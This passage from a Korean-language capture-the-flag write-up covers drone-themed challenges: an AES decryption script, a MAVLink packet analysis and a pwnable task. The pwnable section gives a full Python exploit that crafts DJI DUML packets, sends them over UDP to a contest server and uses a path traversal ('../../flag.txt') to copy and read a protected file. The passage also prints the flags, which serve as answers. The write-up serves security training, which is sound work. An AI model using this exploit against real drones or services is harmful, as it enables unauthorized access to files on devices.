            s[i] = self.gf_mul_2[self._state[i]] ^ self.gf_mul_3[self._state[i + 4]] ^ self._state[i + 8] ^ self._state[i + 12]
            s[i + 4] = self._state[i] ^ self.gf_mul_2[self._state[i + 4]] ^ self.gf_mul_3[self._state[i + 8]] ^ self._state[i + 12]
            s[i + 8] = self._state[i] ^ self._state[i + 4] ^ self.gf_mul_2[self._state[i + 8]] ^ self.gf_mul_3[self._state[i + 12]]
            s[i + 12] = self.gf_mul_3[self._state[i]] ^ self._state[i + 4] ^ self._state[i + 8] ^ self.gf_mul_2[self._state[i + 12]]
        self._state = s

    def _mix_columns_inv(self):
        s = [0] * self._block_size
        for i in range(4):
            s[i] = self.gf_mul_14[self._state[i]] ^ self.gf_mul_11[self._state[i + 4]] ^ self.gf_mul_13[self._state[i + 8]] ^ self.gf_mul_9[self._state[i + 12]]
            s[i + 4] = self.gf_mul_9[self._state[i]] ^ self.gf_mul_14[self._state[i + 4]] ^ self.gf_mul_11[self._state[i + 8]] ^ self.gf_mul_13[self._state[i + 12]]
            s[i + 8] = self.gf_mul_13[self._state[i]] ^ self.gf_mul_9[self._state[i + 4]] ^ self.gf_mul_14[self._state[i + 8]] ^ self.gf_mul_11[self._state[i + 12]]
            s[i + 12] = self.gf_mul_11[self._state[i]] ^ self.gf_mul_13[self._state[i + 4]] ^ self.gf_mul_9[self._state[i + 8]] ^ self.gf_mul_14[self._state[i + 12]]
        self._state = s

    def _encrypt(self, plaintext):
        self._state = self._transpose(plaintext)
        print(self._state)
        self._add_round_key(0)
        for round_n in range(1, self._round):
            self._sub_bytes()
            self._shift_rows()
            self._mix_columns()
            self._add_round_key(round_n)
        self._sub_bytes()
        self._shift_rows()
        self._add_round_key(self._round)

        return bytes(self._transpose(self._state))

    def _decrypt(self, ciphertext):
        self._state = self._transpose(ciphertext)

        self._add_round_key(self._round)
        self._shift_rows_inv()
        self._sub_bytes_inv()
        for round_n in range(self._round - 1, 0, -1):
            self._add_round_key(round_n)
            self._mix_columns_inv()
            self._shift_rows_inv()
            self._sub_bytes_inv()
        self._add_round_key(0)

        return bytes(self._transpose(self._state))

    def encrypt(self, plaintext):
        assert len(plaintext) % self._block_size == 0

        ciphertext = b""
        for i in range(0, len(plaintext), self._block_size):
            ciphertext += self._encrypt(plaintext[i : i + self._block_size])
        return ciphertext

    def decrypt(self, ciphertext):
        assert len(ciphertext) % self._block_size == 0

        plaintext = b""
        for i in range(0, len(ciphertext), self._block_size):
            plaintext += self._decrypt(ciphertext[i : i + self._block_size])
        return plaintext


if __name__ == "__main__":
    key = b'AES128_CipherKey'
    aes = AES_implemented(b'x' * 16)
    key = aes._transpose(key)
    aes._round_keys = aes._expand_key(key)

    with open("flag.jpg", "rb") as f:
        data = f.read()

    with open("flag-org.jpg", "wb") as f:
        for i in range(0, len(data), 16):
            dec = data[i:i+16]
            plain = bytes(aes._transpose(aes.decrypt(aes._transpose(dec))))
            f.write(plain)

```

#### Flag
- HTD{Th3_dr0nes_system_was_allowing_c0mplete_remote_c0ntr0l!}


## Pwnable
### 4. Dron3 H4cks
#### Description
![image](https://hackmd.io/_uploads/rk1dbN5hC.png)


#### Solution
- log 파일을 관리하는 서비스로 DUML 패킷을 통해 상호작용 가능
- 복사하려는 로그 파일의 경로에 path traversal 취약점이 발생하여 flag.txt를 임의 로그 파일로 저장할 수 있음

#### Code
```python  
import struct
import socket
import random
from crc import calc_hdr_checksum, calc_checksum

# 서버 주소 및 포트 설정
SERVER_ADDRESS = ('15.164.114.238', 7810)  # 서버 IP 및 포트
BUFFER_SIZE = 1024

# 패킷을 생성하는 함수 (handle_DUML3 패킷)
def create_handle_duml3_packet(g_seq, log_num):
    sequence_number = g_seq + 1
    packet_type = 0x05

    # DUML 패킷 헤더
    magic = 0x55
    version = 0x3
    length = 77

    # DUML 헤더 구성
    header = struct.pack("<BBB", magic, length & 0xFF, (version << 2) | ((length >> 8) & 0x03))
    crc8 = bytes([calc_hdr_checksum(0x77, header, 3)])

    # DUML Transit
    src_id = 1
    src_type = 1
    dest_id = 1
    dest_type = 1
    counter = random.randint(0, 65535)
    transit = struct.pack("<BBH", (src_id << 5) | src_type, (dest_id << 5) | dest_type, counter)

    # DUML Command
    cmd_type = 0
    ack_type = 0
    encrypt = 0
    cmd_set = 99  # cmd_set = 99
    cmd_id = 3    # cmd_id = 3 (handle_DUML3 호출)
    command = struct.pack("<BBB", (cmd_type << 7) | (ack_type << 5) | encrypt, cmd_set, cmd_id)

    # DUML Payload (log_num 설정)
    log_num_padded = str(log_num).ljust(64, '\x00').encode('utf-8')
    cmd_payload = log_num_padded

    # 전체 패킷 생성 (header + transit + command + payload)
    full_packet = header + crc8 + transit + command + cmd_payload
    crc16 = calc_checksum(full_packet, len(full_packet))

    # 최종 패킷에 CRC16 추가
    payload = full_packet + struct.pack("<H", crc16)

    # DJI UDP 패킷 생성 (UDP 헤더 + payload)
    packet_length = 5 + len(payload)  # UDP 헤더 포함 길이 계산
    packet = struct.pack('<HHB', packet_length ^ (1 << 15), sequence_number, packet_type) + payload
    return packet

# 파일 복사를 위해 handle_DUML4 패킷을 생성하는 함수
def create_handle_duml4_packet(g_seq, source_file, dest_file):
    sequence_number = g_seq + 1
    packet_type = 0x05

    # DUML 패킷 헤더
    magic = 0x55
    version = 0x3
    length = 141

    # DUML 헤더 구성
    header = struct.pack("<BBB", magic, length & 0xFF, (version << 2) | ((length >> 8) & 0x03))
    crc8 = bytes([calc_hdr_checksum(0x77, header, 3)])

    # DUML Transit
    src_id = 1
    src_type = 1
    dest_id = 1
    dest_type = 1
    counter = random.randint(0, 65535)
    transit = struct.pack("<BBH", (src_id << 5) | src_type, (dest_id << 5) | dest_type, counter)

    # DUML Command
    cmd_type = 0
    ack_type = 0
    encrypt = 0
    cmd_set = 99  # cmd_set = 99
    cmd_id = 4    # cmd_id = 4 (handle_DUML4 호출)
    command = struct.pack("<BBB", (cmd_type << 7) | (ack_type << 5) | encrypt, cmd_set, cmd_id)

    # DUML Payload (source_file와 dest_file 설정)
    source_file_padded = source_file.ljust(64, '\x00').encode('utf-8')
    dest_file_padded = dest_file.ljust(64, '\x00').encode('utf-8')
    cmd_payload = source_file_padded + dest_file_padded

    # 전체 패킷 생성 (header + transit + command + payload)
    full_packet = header + crc8 + transit + command + cmd_payload
    crc16 = calc_checksum(full_packet, len(full_packet))

    # 최종 패킷에 CRC16 추가
    payload = full_packet + struct.pack("<H", crc16)

    # DJI UDP 패킷 생성 (UDP 헤더 + payload)
    packet_length = 5 + len(payload)
    packet = struct.pack('<HHB', packet_length ^ (1 << 15), sequence_number, packet_type) + payload
    return packet

# DUML3 패킷을 서버로 전송하는 함수 (로그 파일 읽기)
def send_handle_duml3_packet(log_num):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # g_seq 값을 1로 설정 (또는 적절한 값 설정)
    packet = create_handle_duml3_packet(1, log_num)
    sock.sendto(packet, SERVER_ADDRESS)

    # 서버 응답 수신
    response, _ = sock.recvfrom(BUFFER_SIZE)
    print(f"Server response (log file content): {response.decode('utf-8')}")

# DUML4 패킷을 서버로 전송하는 함수 (파일 복사)
def send_handle_duml4_packet(source_file, dest_file):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # g_seq 값을 1로 설정 (또는 적절한 값 설정)
    packet = create_handle_duml4_packet(1, source_file, dest_file)
    sock.sendto(packet, SERVER_ADDRESS)

    # 서버 응답 수신
    response, _ = sock.recvfrom(BUFFER_SIZE)
    print(f"Server response (file copy command): {response.decode('utf-8')}")

if __name__ == "__main__":
    # source_file과 dest_file 설정
    source_file = "/system/log/../../../../../flag.txt"
    dest_file = "/data/log/0.log"

    # 파일 복사 수행 (handle_DUML4 호출)
    send_handle_duml4_packet(source_file, dest_file)

    # 복사된 파일 읽기 수행 (handle_DUML3 호출)
    log_num = 0  # 로그 파일 번호 설정
    send_handle_duml3_packet(log_num)
```

#### Flag
- HTD{We_d0nt_n33d_t0_buy_Dron3H4cks}



## Packet
### 5. Treasure hunting
#### Description
![image](https://hackmd.io/_uploads/HJAKP4q2R.png)

#### Solution
- [MAVLink](https://mavlink.io/en/messages/common.html) 참고하여 패킷 덤프 분석
- [MAVLink Wireshark plugin](https://gist.github.com/dagar/c006ce6014fd56fbdab92af062bd8e19)
- 문제 지문을 참고하여 Home location 설정 커맨드(MAV_CMD_DO_SET_HOME)를 찾아 좌표 획득 가능
![image](https://hackmd.io/_uploads/rysXuVc2R.png)

#### Flag
- HTD{427cab3942f0b497431f0000427395ad430ec73a4441c000}


